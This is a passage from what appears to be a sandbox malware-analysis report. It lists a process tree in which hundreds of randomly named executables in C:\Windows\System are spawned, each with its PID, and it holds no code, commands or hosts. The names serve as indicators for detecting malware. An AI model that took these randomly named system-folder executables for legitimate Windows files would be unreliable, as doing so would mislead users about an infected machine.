  2⤵
  PID:5192
- C:\Windows\System\QxHFhSq.exe
  C:\Windows\System\QxHFhSq.exe
  2⤵
  PID:6076
- C:\Windows\System\MTZRRoQ.exe
  C:\Windows\System\MTZRRoQ.exe
  2⤵
  PID:4416
- C:\Windows\System\nGjpHaM.exe
  C:\Windows\System\nGjpHaM.exe
  2⤵
  PID:5928
- C:\Windows\System\iOzgtbc.exe
  C:\Windows\System\iOzgtbc.exe
  2⤵
  PID:5816
- C:\Windows\System\TAHNEqz.exe
  C:\Windows\System\TAHNEqz.exe
  2⤵
  PID:5268
- C:\Windows\System\LfsXVdB.exe
  C:\Windows\System\LfsXVdB.exe
  2⤵
  PID:5288
- C:\Windows\System\bWfyQhi.exe
  C:\Windows\System\bWfyQhi.exe
  2⤵
  PID:6160
- C:\Windows\System\RggOyHD.exe
  C:\Windows\System\RggOyHD.exe
  2⤵
  PID:6176
- C:\Windows\System\qcGtBed.exe
  C:\Windows\System\qcGtBed.exe
  2⤵
  PID:6192
- C:\Windows\System\ySNicgv.exe
  C:\Windows\System\ySNicgv.exe
  2⤵
  PID:6208
- C:\Windows\System\syRVNww.exe
  C:\Windows\System\syRVNww.exe
  2⤵
  PID:6224
- C:\Windows\System\YfzKQix.exe
  C:\Windows\System\YfzKQix.exe
  2⤵
  PID:6244
- C:\Windows\System\xgzIYns.exe
  C:\Windows\System\xgzIYns.exe
  2⤵
  PID:6260
- C:\Windows\System\GYwebWt.exe
  C:\Windows\System\GYwebWt.exe
  2⤵
  PID:6328
- C:\Windows\System\UYnWNGH.exe
  C:\Windows\System\UYnWNGH.exe
  2⤵
  PID:6344
- C:\Windows\System\UjdzzYZ.exe
  C:\Windows\System\UjdzzYZ.exe
  2⤵
  PID:6368
- C:\Windows\System\JilUZxY.exe
  C:\Windows\System\JilUZxY.exe
  2⤵
  PID:6384
- C:\Windows\System\xXrNqAZ.exe
  C:\Windows\System\xXrNqAZ.exe
  2⤵
  PID:6400
- C:\Windows\System\vSGCxnt.exe
  C:\Windows\System\vSGCxnt.exe
  2⤵
  PID:6424
- C:\Windows\System\qDYnnhW.exe
  C:\Windows\System\qDYnnhW.exe
  2⤵
  PID:6444
- C:\Windows\System\JuncrNb.exe
  C:\Windows\System\JuncrNb.exe
  2⤵
  PID:6460
- C:\Windows\System\SHmTOGp.exe
  C:\Windows\System\SHmTOGp.exe
  2⤵
  PID:6480
- C:\Windows\System\eFuEIai.exe
  C:\Windows\System\eFuEIai.exe
  2⤵
  PID:6496
- C:\Windows\System\KvlHiuV.exe
  C:\Windows\System\KvlHiuV.exe
  2⤵
  PID:6516
- C:\Windows\System\CKDUhAW.exe
  C:\Windows\System\CKDUhAW.exe
  2⤵
  PID:6540
- C:\Windows\System\GORkFzV.exe
  C:\Windows\System\GORkFzV.exe
  2⤵
  PID:6556
- C:\Windows\System\DbyIGfM.exe
  C:\Windows\System\DbyIGfM.exe
  2⤵
  PID:6572
- C:\Windows\System\NpVxBMW.exe
  C:\Windows\System\NpVxBMW.exe
  2⤵
  PID:6592
- C:\Windows\System\GkKbAgS.exe
  C:\Windows\System\GkKbAgS.exe
  2⤵
  PID:6612
- C:\Windows\System\rhsGgtt.exe
  C:\Windows\System\rhsGgtt.exe
  2⤵
  PID:6632
- C:\Windows\System\GTSHfPa.exe
  C:\Windows\System\GTSHfPa.exe
  2⤵
  PID:6656
- C:\Windows\System\pcBPSuA.exe
  C:\Windows\System\pcBPSuA.exe
  2⤵
  PID:6696
- C:\Windows\System\eMnDjaG.exe
  C:\Windows\System\eMnDjaG.exe
  2⤵
  PID:6716
- C:\Windows\System\UktTtBB.exe
  C:\Windows\System\UktTtBB.exe
  2⤵
  PID:6732
- C:\Windows\System\yLJpZjS.exe
  C:\Windows\System\yLJpZjS.exe
  2⤵
  PID:6748
- C:\Windows\System\lnGstKS.exe
  C:\Windows\System\lnGstKS.exe
  2⤵
  PID:6764
- C:\Windows\System\VIrZLKn.exe
  C:\Windows\System\VIrZLKn.exe
  2⤵
  PID:6784
- C:\Windows\System\DczdYED.exe
  C:\Windows\System\DczdYED.exe
  2⤵
  PID:6804
- C:\Windows\System\goEwxpQ.exe
  C:\Windows\System\goEwxpQ.exe
  2⤵
  PID:6820
- C:\Windows\System\OLlgvDq.exe
  C:\Windows\System\OLlgvDq.exe
  2⤵
  PID:6844
- C:\Windows\System\MTfXQCb.exe
  C:\Windows\System\MTfXQCb.exe
  2⤵
  PID:6864
- C:\Windows\System\EWlrJOs.exe
  C:\Windows\System\EWlrJOs.exe
  2⤵
  PID:6880
- C:\Windows\System\wVNLsYC.exe
  C:\Windows\System\wVNLsYC.exe
  2⤵
  PID:6900
- C:\Windows\System\csVLtgS.exe
  C:\Windows\System\csVLtgS.exe
  2⤵
  PID:6916
- C:\Windows\System\TuukDVB.exe
  C:\Windows\System\TuukDVB.exe
  2⤵
  PID:6936
- C:\Windows\System\GxJSGRT.exe
  C:\Windows\System\GxJSGRT.exe
  2⤵
  PID:6956
- C:\Windows\System\qUrLSPt.exe
  C:\Windows\System\qUrLSPt.exe
  2⤵
  PID:6972
- C:\Windows\System\NoaUcmz.exe
  C:\Windows\System\NoaUcmz.exe
  2⤵
  PID:6988
- C:\Windows\System\kZZDcLQ.exe
  C:\Windows\System\kZZDcLQ.exe
  2⤵
  PID:7004
- C:\Windows\System\hvqSUhZ.exe
  C:\Windows\System\hvqSUhZ.exe
  2⤵
  PID:7024
- C:\Windows\System\kAyRHfC.exe
  C:\Windows\System\kAyRHfC.exe
  2⤵
  PID:7040
- C:\Windows\System\kcsmkcl.exe
  C:\Windows\System\kcsmkcl.exe
  2⤵
  PID:7056
- C:\Windows\System\bVkpDtT.exe
  C:\Windows\System\bVkpDtT.exe
  2⤵
  PID:7076
- C:\Windows\System\athNKUb.exe
  C:\Windows\System\athNKUb.exe
  2⤵
  PID:7096
- C:\Windows\System\OpQViez.exe
  C:\Windows\System\OpQViez.exe
  2⤵
  PID:7116
- C:\Windows\System\LnOJFjU.exe
  C:\Windows\System\LnOJFjU.exe
  2⤵
  PID:7132
- C:\Windows\System\rYFmcPg.exe
  C:\Windows\System\rYFmcPg.exe
  2⤵
  PID:7152
- C:\Windows\System\guseUzh.exe
  C:\Windows\System\guseUzh.exe
  2⤵
  PID:3264
- C:\Windows\System\IETPpkJ.exe
  C:\Windows\System\IETPpkJ.exe
  2⤵
  PID:5128
- C:\Windows\System\nGXaBfn.exe
  C:\Windows\System\nGXaBfn.exe
  2⤵
  PID:6204
- C:\Windows\System\WNgxiju.exe
  C:\Windows\System\WNgxiju.exe
  2⤵
  PID:6240
- C:\Windows\System\sOTkqCy.exe
  C:\Windows\System\sOTkqCy.exe
  2⤵
  PID:6284
- C:\Windows\System\BghyeuA.exe
  C:\Windows\System\BghyeuA.exe
  2⤵
  PID:6300
- C:\Windows\System\pRDWOJu.exe
  C:\Windows\System\pRDWOJu.exe
  2⤵
  PID:5620
- C:\Windows\System\XYbHmqs.exe
  C:\Windows\System\XYbHmqs.exe
  2⤵
  PID:6352
- C:\Windows\System\ruuSBpb.exe
  C:\Windows\System\ruuSBpb.exe
  2⤵
  PID:6184
- C:\Windows\System\gSGDCyC.exe
  C:\Windows\System\gSGDCyC.exe
  2⤵
  PID:5668
- C:\Windows\System\HYhYcrg.exe
  C:\Windows\System\HYhYcrg.exe
  2⤵
  PID:4208
- C:\Windows\System\XDMotLk.exe
  C:\Windows\System\XDMotLk.exe
  2⤵
  PID:6396
- C:\Windows\System\GLVsxXd.exe
  C:\Windows\System\GLVsxXd.exe
  2⤵
  PID:6472
- C:\Windows\System\rxfywCn.exe
  C:\Windows\System\rxfywCn.exe
  2⤵
  PID:6508
- C:\Windows\System\YZjGdIq.exe
  C:\Windows\System\YZjGdIq.exe
  2⤵
  PID:6580
- C:\Windows\System\YpacQif.exe
  C:\Windows\System\YpacQif.exe
  2⤵
  PID:6628
- C:\Windows\System\MqdlZfl.exe
  C:\Windows\System\MqdlZfl.exe
  2⤵
  PID:6684
- C:\Windows\System\edDjaQN.exe
  C:\Windows\System\edDjaQN.exe
  2⤵
  PID:6380
- C:\Windows\System\ISklBZp.exe
  C:\Windows\System\ISklBZp.exe
  2⤵
  PID:6456
- C:\Windows\System\NLvMrCQ.exe
  C:\Windows\System\NLvMrCQ.exe
  2⤵
  PID:6536
- C:\Windows\System\jKUWPXc.exe
  C:\Windows\System\jKUWPXc.exe
  2⤵
  PID:6640
- C:\Windows\System\MucbzXB.exe
  C:\Windows\System\MucbzXB.exe
  2⤵
  PID:6692
- C:\Windows\System\SuiSvcD.exe
  C:\Windows\System\SuiSvcD.exe
  2⤵
  PID:6756
- C:\Windows\System\xHEVUiT.exe
  C:\Windows\System\xHEVUiT.exe
  2⤵
  PID:6828
- C:\Windows\System\buwOVMt.exe
  C:\Windows\System\buwOVMt.exe
  2⤵
  PID:6876
- C:\Windows\System\PXMGbHO.exe
  C:\Windows\System\PXMGbHO.exe
  2⤵
  PID:4920
- C:\Windows\System\OCLsywj.exe
  C:\Windows\System\OCLsywj.exe
  2⤵
  PID:6272
- C:\Windows\System\KYmXNgT.exe
  C:\Windows\System\KYmXNgT.exe
  2⤵
  PID:6312
- C:\Windows\System\DMtakrP.exe
  C:\Windows\System\DMtakrP.exe
  2⤵
  PID:5796
- C:\Windows\System\SeDnFEi.exe
  C:\Windows\System\SeDnFEi.exe
  2⤵
  PID:6436
- C:\Windows\System\ydKEqtz.exe
  C:\Windows\System\ydKEqtz.exe
  2⤵
  PID:6548
- C:\Windows\System\KHirilW.exe
  C:\Windows\System\KHirilW.exe
  2⤵
  PID:6964
- C:\Windows\System\CURnIvn.exe
  C:\Windows\System\CURnIvn.exe
  2⤵
  PID:6568
- C:\Windows\System\aWCuZHz.exe
  C:\Windows\System\aWCuZHz.exe
  2⤵
  PID:6704
- C:\Windows\System\KqBjPDQ.exe
  C:\Windows\System\KqBjPDQ.exe
  2⤵
  PID:7140
- C:\Windows\System\DQZUoCx.exe
  C:\Windows\System\DQZUoCx.exe
  2⤵
  PID:6740
- C:\Windows\System\sqidwkn.exe
  C:\Windows\System\sqidwkn.exe
  2⤵
  PID:5132
- C:\Windows\System\fGkWBEq.exe
  C:\Windows\System\fGkWBEq.exe
  2⤵
  PID:6924
- C:\Windows\System\VFKTdON.exe
  C:\Windows\System\VFKTdON.exe
  2⤵
  PID:6492
- C:\Windows\System\AFZNERa.exe
  C:\Windows\System\AFZNERa.exe
  2⤵
  PID:6708
- C:\Windows\System\WJoKFpP.exe
  C:\Windows\System\WJoKFpP.exe
  2⤵
  PID:6980
- C:\Windows\System\aHNdDSG.exe
  C:\Windows\System\aHNdDSG.exe
  2⤵
  PID:6856
- C:\Windows\System\nhTlGeu.exe
  C:\Windows\System\nhTlGeu.exe
  2⤵
  PID:6256
- C:\Windows\System\wsSJjKT.exe
  C:\Windows\System\wsSJjKT.exe
  2⤵
  PID:7088
- C:\Windows\System\UQKmGab.exe
  C:\Windows\System\UQKmGab.exe
  2⤵
  PID:7104
- C:\Windows\System\oCJwFxs.exe
  C:\Windows\System\oCJwFxs.exe
  2⤵
  PID:5208
- C:\Windows\System\NHewbwB.exe
  C:\Windows\System\NHewbwB.exe
  2⤵
  PID:6200
- C:\Windows\System\YhnkRHR.exe
  C:\Windows\System\YhnkRHR.exe
  2⤵
  PID:6168
- C:\Windows\System\LqpfgWD.exe
  C:\Windows\System\LqpfgWD.exe
  2⤵
  PID:6376
- C:\Windows\System\SCCkrwL.exe
  C:\Windows\System\SCCkrwL.exe
  2⤵
  PID:6532
- C:\Windows\System\kpFZahx.exe
  C:\Windows\System\kpFZahx.exe
  2⤵
  PID:7084
- C:\Windows\System\oQxDHkd.exe
  C:\Windows\System\oQxDHkd.exe
  2⤵
  PID:6468
- C:\Windows\System\pMmvpkh.exe
  C:\Windows\System\pMmvpkh.exe
  2⤵
  PID:6728
- C:\Windows\System\kaDVWJk.exe
  C:\Windows\System\kaDVWJk.exe
  2⤵
  PID:6776
- C:\Windows\System\hVgEvoH.exe
  C:\Windows\System\hVgEvoH.exe
  2⤵
  PID:6948
- C:\Windows\System\PwNzKaq.exe
  C:\Windows\System\PwNzKaq.exe
  2⤵
  PID:6892
- C:\Windows\System\aNJCwYM.exe
  C:\Windows\System\aNJCwYM.exe
  2⤵
  PID:6608
- C:\Windows\System\GyRDsyR.exe
  C:\Windows\System\GyRDsyR.exe
  2⤵
  PID:6712
- C:\Windows\System\VDjwykj.exe
  C:\Windows\System\VDjwykj.exe
  2⤵
  PID:6624
- C:\Windows\System\KkrJgSp.exe
  C:\Windows\System\KkrJgSp.exe
  2⤵
  PID:7124
- C:\Windows\System\USLTmtW.exe
  C:\Windows\System\USLTmtW.exe
  2⤵
  PID:6852
- C:\Windows\System\WlrOnjO.exe
  C:\Windows\System\WlrOnjO.exe
  2⤵
  PID:7036
- C:\Windows\System\ngWtWwT.exe
  C:\Windows\System\ngWtWwT.exe
  2⤵
  PID:6336
- C:\Windows\System\zVoJTKF.exe
  C:\Windows\System\zVoJTKF.exe
  2⤵
  PID:6416
- C:\Windows\System\whDVxAQ.exe
  C:\Windows\System\whDVxAQ.exe
  2⤵
  PID:6648
- C:\Windows\System\fWrtZvY.exe
  C:\Windows\System\fWrtZvY.exe
  2⤵
  PID:6872
- C:\Windows\System\PhFSfRU.exe
  C:\Windows\System\PhFSfRU.exe
  2⤵
  PID:6528
- C:\Windows\System\joZZAhF.exe
  C:\Windows\System\joZZAhF.exe
  2⤵
  PID:6676
- C:\Windows\System\rNBNyXR.exe
  C:\Windows\System\rNBNyXR.exe
  2⤵
  PID:6220
- C:\Windows\System\TPKBvQg.exe
  C:\Windows\System\TPKBvQg.exe
  2⤵
  PID:7016
- C:\Windows\System\AvQQcMq.exe
  C:\Windows\System\AvQQcMq.exe
  2⤵
  PID:6316
- C:\Windows\System\hTLHvoq.exe
  C:\Windows\System\hTLHvoq.exe
  2⤵
  PID:7072
- C:\Windows\System\JRLcSAs.exe
  C:\Windows\System\JRLcSAs.exe
  2⤵
  PID:6968
- C:\Windows\System\ysvtbqf.exe
  C:\Windows\System\ysvtbqf.exe
  2⤵
  PID:6672
- C:\Windows\System\qSGlgdh.exe
  C:\Windows\System\qSGlgdh.exe
  2⤵
  PID:6796
- C:\Windows\System\scMasRu.exe
  C:\Windows\System\scMasRu.exe
  2⤵
  PID:6364
- C:\Windows\System\vSfpVRI.exe
  C:\Windows\System\vSfpVRI.exe
  2⤵
  PID:6236
- C:\Windows\System\qZKgASN.exe
  C:\Windows\System\qZKgASN.exe
  2⤵
  PID:6420
- C:\Windows\System\HBHRSdG.exe
  C:\Windows\System\HBHRSdG.exe
  2⤵
  PID:7068
- C:\Windows\System\UTOtPYu.exe
  C:\Windows\System\UTOtPYu.exe
  2⤵
  PID:6296
- C:\Windows\System\IhpBika.exe
  C:\Windows\System\IhpBika.exe
  2⤵
  PID:5740
- C:\Windows\System\YJXwWwx.exe
  C:\Windows\System\YJXwWwx.exe
  2⤵
  PID:7176
- C:\Windows\System\MZuCLhm.exe
  C:\Windows\System\MZuCLhm.exe
  2⤵
  PID:7196
- C:\Windows\System\OdVqcdg.exe
  C:\Windows\System\OdVqcdg.exe
  2⤵
  PID:7220
- C:\Windows\System\waqRFUg.exe
  C:\Windows\System\waqRFUg.exe
  2⤵
  PID:7240
- C:\Windows\System\YsUNqSS.exe
  C:\Windows\System\YsUNqSS.exe
  2⤵
  PID:7264
- C:\Windows\System\toxHOol.exe
  C:\Windows\System\toxHOol.exe
  2⤵
  PID:7284
- C:\Windows\System\nkJbzgp.exe
  C:\Windows\System\nkJbzgp.exe
  2⤵
  PID:7300
- C:\Windows\System\LeJMhpq.exe
  C:\Windows\System\LeJMhpq.exe
  2⤵
  PID:7324
- C:\Windows\System\DiIJmXX.exe
  C:\Windows\System\DiIJmXX.exe
  2⤵
  PID:7340
- C:\Windows\System\hJpWKhN.exe
  C:\Windows\System\hJpWKhN.exe
  2⤵
  PID:7356
- C:\Windows\System\HZXpVEu.exe
  C:\Windows\System\HZXpVEu.exe
  2⤵
  PID:7380
- C:\Windows\System\FniwdVy.exe
  C:\Windows\System\FniwdVy.exe
  2⤵
  PID:7400
- C:\Windows\System\ikYrGBf.exe
  C:\Windows\System\ikYrGBf.exe
  2⤵
  PID:7424
- C:\Windows\System\eddgZeK.exe
  C:\Windows\System\eddgZeK.exe
  2⤵
  PID:7444
- C:\Windows\System\IcpMjxp.exe
  C:\Windows\System\IcpMjxp.exe
  2⤵
  PID:7460
- C:\Windows\System\UboaTdz.exe
  C:\Windows\System\UboaTdz.exe
  2⤵
  PID:7484
- C:\Windows\System\hXwkyWr.exe
  C:\Windows\System\hXwkyWr.exe
  2⤵
  PID:7500
- C:\Windows\System\CzYJNYE.exe
  C:\Windows\System\CzYJNYE.exe
  2⤵
  PID:7520
- C:\Windows\System\JRpfDwc.exe
  C:\Windows\System\JRpfDwc.exe
  2⤵
  PID:7544
- C:\Windows\System\ZqRwbfY.exe
  C:\Windows\System\ZqRwbfY.exe
  2⤵
  PID:7568
- C:\Windows\System\akRdgqH.exe
  C:\Windows\System\akRdgqH.exe
  2⤵
  PID:7588
- C:\Windows\System\WIrCTWz.exe
  C:\Windows\System\WIrCTWz.exe
  2⤵
  PID:7608
- C:\Windows\System\pmiTbLg.exe
  C:\Windows\System\pmiTbLg.exe
  2⤵
  PID:7628
- C:\Windows\System\rWjvuHT.exe
  C:\Windows\System\rWjvuHT.exe
  2⤵
  PID:7648
- C:\Windows\System\WaeIPoE.exe
  C:\Windows\System\WaeIPoE.exe
  2⤵
  PID:7664
- C:\Windows\System\gXkasNE.exe
  C:\Windows\System\gXkasNE.exe
  2⤵
  PID:7688
- C:\Windows\System\HCGxeFq.exe
  C:\Windows\System\HCGxeFq.exe
  2⤵
  PID:7704
- C:\Windows\System\lCYjyRi.exe
  C:\Windows\System\lCYjyRi.exe
  2⤵
  PID:7724
- C:\Windows\System\ibygFAe.exe
  C:\Windows\System\ibygFAe.exe
  2⤵
  PID:7748
- C:\Windows\System\omaiSVY.exe
  C:\Windows\System\omaiSVY.exe
  2⤵
  PID:7768
- C:\Windows\System\xbbRqKp.exe
  C:\Windows\System\xbbRqKp.exe
  2⤵
  PID:7784
- C:\Windows\System\wBhkXAE.exe
  C:\Windows\System\wBhkXAE.exe
  2⤵
  PID:7804
- C:\Windows\System\oGotUxv.exe
  C:\Windows\System\oGotUxv.exe
  2⤵
  PID:7820
- C:\Windows\System\PaQUIAF.exe
  C:\Windows\System\PaQUIAF.exe
  2⤵
  PID:7836
- C:\Windows\System\NpVRSkp.exe
  C:\Windows\System\NpVRSkp.exe
  2⤵
  PID:7852
- C:\Windows\System\FhVPnYe.exe
  C:\Windows\System\FhVPnYe.exe
  2⤵
  PID:7888
- C:\Windows\System\AjzLHlt.exe
  C:\Windows\System\AjzLHlt.exe
  2⤵
  PID:7908
- C:\Windows\System\NLrLRbS.exe
  C:\Windows\System\NLrLRbS.exe
  2⤵
  PID:7924
- C:\Windows\System\wTRHJse.exe
  C:\Windows\System\wTRHJse.exe
  2⤵
  PID:7940
- C:\Windows\System\CebCIhg.exe
  C:\Windows\System\CebCIhg.exe
  2⤵
  PID:7956
- C:\Windows\System\hvisvww.exe
  C:\Windows\System\hvisvww.exe
  2⤵
  PID:7972
- C:\Windows\System\qJNTQXu.exe
  C:\Windows\System\qJNTQXu.exe
  2⤵
  PID:7988
- C:\Windows\System\piplTsW.exe
  C:\Windows\System\piplTsW.exe
  2⤵
  PID:8004
- C:\Windows\System\WQPIhuY.exe
  C:\Windows\System\WQPIhuY.exe
  2⤵
  PID:8020
- C:\Windows\System\dcGlVGN.exe
  C:\Windows\System\dcGlVGN.exe
  2⤵
  PID:8036
- C:\Windows\System\grUtOUx.exe
  C:\Windows\System\grUtOUx.exe
  2⤵
  PID:8052
- C:\Windows\System\zKCmWfY.exe
  C:\Windows\System\zKCmWfY.exe
  2⤵
  PID:8072
- C:\Windows\System\ULCKDPU.exe
  C:\Windows\System\ULCKDPU.exe
  2⤵
  PID:8092
- C:\Windows\System\jjEaAnL.exe
  C:\Windows\System\jjEaAnL.exe
  2⤵
  PID:8112
- C:\Windows\System\yACsOJX.exe
  C:\Windows\System\yACsOJX.exe
  2⤵
  PID:8132
- C:\Windows\System\ddEUJXo.exe
  C:\Windows\System\ddEUJXo.exe
  2⤵
  PID:8148
- C:\Windows\System\TqBpQQY.exe
  C:\Windows\System\TqBpQQY.exe
  2⤵
  PID:8164
- C:\Windows\System\nqzNkrT.exe
  C:\Windows\System\nqzNkrT.exe
  2⤵
  PID:6324
- C:\Windows\System\fHzolGJ.exe
  C:\Windows\System\fHzolGJ.exe
  2⤵
  PID:6276
- C:\Windows\System\JHDciVL.exe
  C:\Windows\System\JHDciVL.exe
  2⤵
  PID:6952
- C:\Windows\System\VwrvbyH.exe
  C:\Windows\System\VwrvbyH.exe
  2⤵
  PID:7276
- C:\Windows\System\FfRpnSX.exe
  C:\Windows\System\FfRpnSX.exe
  2⤵
  PID:6308
- C:\Windows\System\wcbXoNz.exe
  C:\Windows\System\wcbXoNz.exe
  2⤵
  PID:7388
- C:\Windows\System\JakruWb.exe
  C:\Windows\System\JakruWb.exe
  2⤵
  PID:7260
- C:\Windows\System\wjrGPAk.exe
  C:\Windows\System\wjrGPAk.exe
  2⤵
  PID:7432
- C:\Windows\System\TcFrgYK.exe
  C:\Windows\System\TcFrgYK.exe
  2⤵
  PID:7476
- C:\Windows\System\SOtHWWR.exe
  C:\Windows\System\SOtHWWR.exe
  2⤵
  PID:7452
- C:\Windows\System\DJtzvQG.exe
  C:\Windows\System\DJtzvQG.exe
  2⤵
  PID:7492
- C:\Windows\System\btlPAHT.exe
  C:\Windows\System\btlPAHT.exe
  2⤵
  PID:7560
- C:\Windows\System\jEYzAFx.exe
  C:\Windows\System\jEYzAFx.exe
  2⤵
  PID:7540
- C:\Windows\System\ZoHbBrF.exe
  C:\Windows\System\ZoHbBrF.exe
  2⤵
  PID:7580
- C:\Windows\System\LoIksAY.exe
  C:\Windows\System\LoIksAY.exe
  2⤵
  PID:7604
- C:\Windows\System\qhqHXOb.exe
  C:\Windows\System\qhqHXOb.exe
  2⤵
  PID:7640
- C:\Windows\System\qxwkGgr.exe
  C:\Windows\System\qxwkGgr.exe
  2⤵
  PID:7660
- C:\Windows\System\szFznsa.exe
  C:\Windows\System\szFznsa.exe
  2⤵
  PID:7684
- C:\Windows\System\oxXfiVw.exe
  C:\Windows\System\oxXfiVw.exe
  2⤵
  PID:7696
- C:\Windows\System\OFdIZlR.exe
  C:\Windows\System\OFdIZlR.exe
  2⤵
  PID:7756
- C:\Windows\System\sQCjhTI.exe
  C:\Windows\System\sQCjhTI.exe
  2⤵
  PID:7740
- C:\Windows\System\TEeOmlF.exe
  C:\Windows\System\TEeOmlF.exe
  2⤵
  PID:7872
- C:\Windows\System\gLpWczZ.exe
  C:\Windows\System\gLpWczZ.exe
  2⤵
  PID:7948
- C:\Windows\System\nUhdlGQ.exe
  C:\Windows\System\nUhdlGQ.exe
  2⤵
  PID:8012
- C:\Windows\System\IRJIoze.exe
  C:\Windows\System\IRJIoze.exe
  2⤵
  PID:8048
- C:\Windows\System\XnCHimw.exe
  C:\Windows\System\XnCHimw.exe
  2⤵
  PID:8120
- C:\Windows\System\BVbVRzA.exe
  C:\Windows\System\BVbVRzA.exe
  2⤵
  PID:8156
- C:\Windows\System\MiOLLCM.exe
  C:\Windows\System\MiOLLCM.exe
  2⤵
  PID:6552
- C:\Windows\System\BCoQCOJ.exe
  C:\Windows\System\BCoQCOJ.exe
  2⤵
  PID:8108
- C:\Windows\System\cgfxMrN.exe
  C:\Windows\System\cgfxMrN.exe
  2⤵
  PID:8000
- C:\Windows\System\gpWeNKj.exe
  C:\Windows\System\gpWeNKj.exe
  2⤵
  PID:8060
- C:\Windows\System\zEaRhaN.exe
  C:\Windows\System\zEaRhaN.exe
  2⤵
  PID:8104
- C:\Windows\System\XvuSjra.exe
  C:\Windows\System\XvuSjra.exe
  2⤵
  PID:8180
- C:\Windows\System\TVLNnnQ.exe
  C:\Windows\System\TVLNnnQ.exe
  2⤵
  PID:7228
- C:\Windows\System\YIwrhWH.exe
  C:\Windows\System\YIwrhWH.exe
  2⤵
  PID:7204
- C:\Windows\System\TEFcDXQ.exe
  C:\Windows\System\TEFcDXQ.exe
  2⤵
  PID:7316
- C:\Windows\System\TTBeeuv.exe
  C:\Windows\System\TTBeeuv.exe
  2⤵
  PID:7248
- C:\Windows\System\LlNJLeP.exe
  C:\Windows\System\LlNJLeP.exe
  2⤵
  PID:7292
- C:\Windows\System\viHcLBM.exe
  C:\Windows\System\viHcLBM.exe
  2⤵
  PID:7364
- C:\Windows\System\uRryWHN.exe
  C:\Windows\System\uRryWHN.exe
  2⤵
  PID:7472
- C:\Windows\System\ypXaCpl.exe
  C:\Windows\System\ypXaCpl.exe
  2⤵
  PID:7368
- C:\Windows\System\ciDwfqL.exe
  C:\Windows\System\ciDwfqL.exe
  2⤵
  PID:7516
- C:\Windows\System\SWuTQfm.exe
  C:\Windows\System\SWuTQfm.exe
  2⤵
  PID:7536
- C:\Windows\System\tpkKjgb.exe
  C:\Windows\System\tpkKjgb.exe
  2⤵
  PID:7656
- C:\Windows\System\ggEArZe.exe
  C:\Windows\System\ggEArZe.exe
  2⤵
  PID:7800
- C:\Windows\System\EfrkaqL.exe
  C:\Windows\System\EfrkaqL.exe
  2⤵
  PID:7744
- C:\Windows\System\qTzXnXp.exe
  C:\Windows\System\qTzXnXp.exe
  2⤵
  PID:7828
- C:\Windows\System\hNdfQLv.exe
  C:\Windows\System\hNdfQLv.exe
  2⤵
  PID:7760
- C:\Windows\System\cZHDRDA.exe
  C:\Windows\System\cZHDRDA.exe
  2⤵
  PID:7844
- C:\Windows\System\TIchWNJ.exe
  C:\Windows\System\TIchWNJ.exe
  2⤵
  PID:7188
- C:\Windows\System\szklBwc.exe
  C:\Windows\System\szklBwc.exe
  2⤵
  PID:7272
- C:\Windows\System\EDRswIJ.exe
  C:\Windows\System\EDRswIJ.exe
  2⤵
  PID:8028
- C:\Windows\System\IJYMcyK.exe
  C:\Windows\System\IJYMcyK.exe
  2⤵
  PID:7968
- C:\Windows\System\BouribX.exe
  C:\Windows\System\BouribX.exe
  2⤵
  PID:7208
- C:\Windows\System\RNUzRaG.exe
  C:\Windows\System\RNUzRaG.exe
  2⤵
  PID:7232
- C:\Windows\System\loUlWQO.exe
  C:\Windows\System\loUlWQO.exe
  2⤵
  PID:7352
- C:\Windows\System\icdFbbX.exe
  C:\Windows\System\icdFbbX.exe
  2⤵
  PID:7296
- C:\Windows\System\NsXTRkW.exe
  C:\Windows\System\NsXTRkW.exe
  2⤵
  PID:7512
- C:\Windows\System\dkMgPmd.exe
  C:\Windows\System\dkMgPmd.exe
  2⤵
  PID:7732
- C:\Windows\System\uWUjlpC.exe
  C:\Windows\System\uWUjlpC.exe
  2⤵
  PID:7720
- C:\Windows\System\rxWaxbN.exe
  C:\Windows\System\rxWaxbN.exe
  2⤵
  PID:7980
- C:\Windows\System\sDHGBrT.exe
  C:\Windows\System\sDHGBrT.exe
  2⤵
  PID:8016
- C:\Windows\System\cEcSUlS.exe
  C:\Windows\System\cEcSUlS.exe
  2⤵
  PID:7212
- C:\Windows\System\nwDsRBD.exe
  C:\Windows\System\nwDsRBD.exe
  2⤵
  PID:7832
- C:\Windows\System\CBknuRL.exe
  C:\Windows\System\CBknuRL.exe
  2⤵
  PID:8208
- C:\Windows\System\qpPMUkQ.exe
  C:\Windows\System\qpPMUkQ.exe
  2⤵
  PID:8228
- C:\Windows\System\byabhzp.exe
  C:\Windows\System\byabhzp.exe
  2⤵
  PID:8244
- C:\Windows\System\skgzERP.exe
  C:\Windows\System\skgzERP.exe
  2⤵
  PID:8276
- C:\Windows\System\AFVRlTj.exe
  C:\Windows\System\AFVRlTj.exe
  2⤵
  PID:8328
- C:\Windows\System\pOTLhXM.exe
  C:\Windows\System\pOTLhXM.exe
  2⤵
  PID:8344
- C:\Windows\System\UfXfnAP.exe
  C:\Windows\System\UfXfnAP.exe
  2⤵
  PID:8368
- C:\Windows\System\qGJdbeq.exe
  C:\Windows\System\qGJdbeq.exe
  2⤵
  PID:8428
- C:\Windows\System\TUHXOcQ.exe
  C:\Windows\System\TUHXOcQ.exe
  2⤵
  PID:8448
- C:\Windows\System\fuxRAQv.exe
  C:\Windows\System\fuxRAQv.exe
  2⤵
  PID:8464
- C:\Windows\System\RwcKXbo.exe
  C:\Windows\System\RwcKXbo.exe
  2⤵
  PID:8480
- C:\Windows\System\FRAeOgH.exe
  C:\Windows\System\FRAeOgH.exe
  2⤵
  PID:8508
- C:\Windows\System\iVTmVSc.exe
  C:\Windows\System\iVTmVSc.exe
  2⤵
  PID:8536
- C:\Windows\System\ubnKbEa.exe
  C:\Windows\System\ubnKbEa.exe
  2⤵
  PID:8552
- C:\Windows\System\FWlFTAT.exe
  C:\Windows\System\FWlFTAT.exe
  2⤵
  PID:8568
- C:\Windows\System\BtzXmfh.exe
  C:\Windows\System\BtzXmfh.exe
  2⤵
  PID:8584
- C:\Windows\System\KbwtSTP.exe
  C:\Windows\System\KbwtSTP.exe
  2⤵
  PID:8600
- C:\Windows\System\LtSbDVv.exe
  C:\Windows\System\LtSbDVv.exe
  2⤵
  PID:8616
- C:\Windows\System\XHQDiIM.exe
  C:\Windows\System\XHQDiIM.exe
  2⤵
  PID:8632
- C:\Windows\System\gVtMyPR.exe
  C:\Windows\System\gVtMyPR.exe
  2⤵
  PID:8652
- C:\Windows\System\lHhViAo.exe
  C:\Windows\System\lHhViAo.exe
  2⤵
  PID:8692
- C:\Windows\System\IjIWHTX.exe
